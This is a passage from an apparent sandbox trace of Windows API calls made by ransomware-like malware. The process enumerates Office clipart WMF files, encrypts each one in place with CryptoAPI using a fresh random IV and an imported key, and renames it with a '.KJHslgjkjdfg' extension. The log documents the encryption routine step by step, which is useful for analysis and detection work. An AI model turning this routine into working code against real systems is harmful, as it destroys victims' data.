lpOverlapped=0x0) returned 1 [0186.555] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.555] SetEndOfFile (hFile=0x114) returned 1 [0186.558] GetProcessHeap () returned 0x2a0000 [0186.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.558] GetProcessHeap () returned 0x2a0000 [0186.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.kjhslgjkjdfg")) returned 1 [0186.560] CloseHandle (hObject=0x114) returned 1 [0186.560] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0186.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.561] GetProcessHeap () returned 0x2a0000 [0186.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.562] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.562] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.564] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.564] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.564] GetProcessHeap () returned 0x2a0000 [0186.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.564] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.564] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.564] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.564] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.564] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.564] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.564] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.564] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.564] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.564] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.565] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ee4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ee4, lpOverlapped=0x0) returned 1 [0186.565] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ef0, dwBufLen=0x1ef0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ef0) returned 1 [0186.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.566] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ef0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ef0, lpOverlapped=0x0) returned 1 [0186.566] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.566] SetEndOfFile (hFile=0x114) returned 1 [0186.568] GetProcessHeap () returned 0x2a0000 [0186.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.568] GetProcessHeap () returned 0x2a0000 [0186.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.kjhslgjkjdfg")) returned 1 [0186.570] CloseHandle (hObject=0x114) returned 1 [0186.570] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0186.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.571] GetProcessHeap () returned 0x2a0000 [0186.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.571] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.571] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.571] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.575] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.575] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.575] GetProcessHeap () returned 0x2a0000 [0186.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.575] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.575] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.575] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.575] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.576] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.576] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.576] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.576] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.576] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.576] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8da8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8da8, lpOverlapped=0x0) returned 1 [0186.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8db0, dwBufLen=0x8db0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8db0) returned 1 [0186.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.578] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8db0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8db0, lpOverlapped=0x0) returned 1 [0186.578] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.578] SetEndOfFile (hFile=0x114) returned 1 [0186.581] GetProcessHeap () returned 0x2a0000 [0186.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.581] GetProcessHeap () returned 0x2a0000 [0186.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.kjhslgjkjdfg")) returned 1 [0186.583] CloseHandle (hObject=0x114) returned 1 [0186.584] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0186.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.585] GetProcessHeap () returned 0x2a0000 [0186.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.585] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.585] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.585] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.587] GetProcessHeap () returned 0x2a0000 [0186.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.587] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.587] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.588] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.588] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.588] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.588] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.588] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x140c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x140c, lpOverlapped=0x0) returned 1 [0186.605] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1410, dwBufLen=0x1410 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1410) returned 1 [0186.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.605] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1410, lpOverlapped=0x0) returned 1 [0186.605] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.605] SetEndOfFile (hFile=0x114) returned 1 [0186.608] GetProcessHeap () returned 0x2a0000 [0186.608] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.608] GetProcessHeap () returned 0x2a0000 [0186.608] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.kjhslgjkjdfg")) returned 1 [0186.610] CloseHandle (hObject=0x114) returned 1 [0186.610] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0186.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.611] GetProcessHeap () returned 0x2a0000 [0186.611] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.611] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.611] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.611] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.611] GetProcessHeap () returned 0x2a0000 [0186.611] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.611] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.611] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.611] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.613] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.613] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.613] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.613] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.613] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.613] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.614] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x26b0, lpOverlapped=0x0) returned 1 [0186.614] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x26b0, dwBufLen=0x26b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x26b0) returned 1 [0186.614] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.615] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x26b0, lpOverlapped=0x0) returned 1 [0186.615] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.615] SetEndOfFile (hFile=0x114) returned 1 [0186.617] GetProcessHeap () returned 0x2a0000 [0186.617] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.617] GetProcessHeap () returned 0x2a0000 [0186.617] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.kjhslgjkjdfg")) returned 1 [0186.619] CloseHandle (hObject=0x114) returned 1 [0186.619] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0186.619] CreateFileW 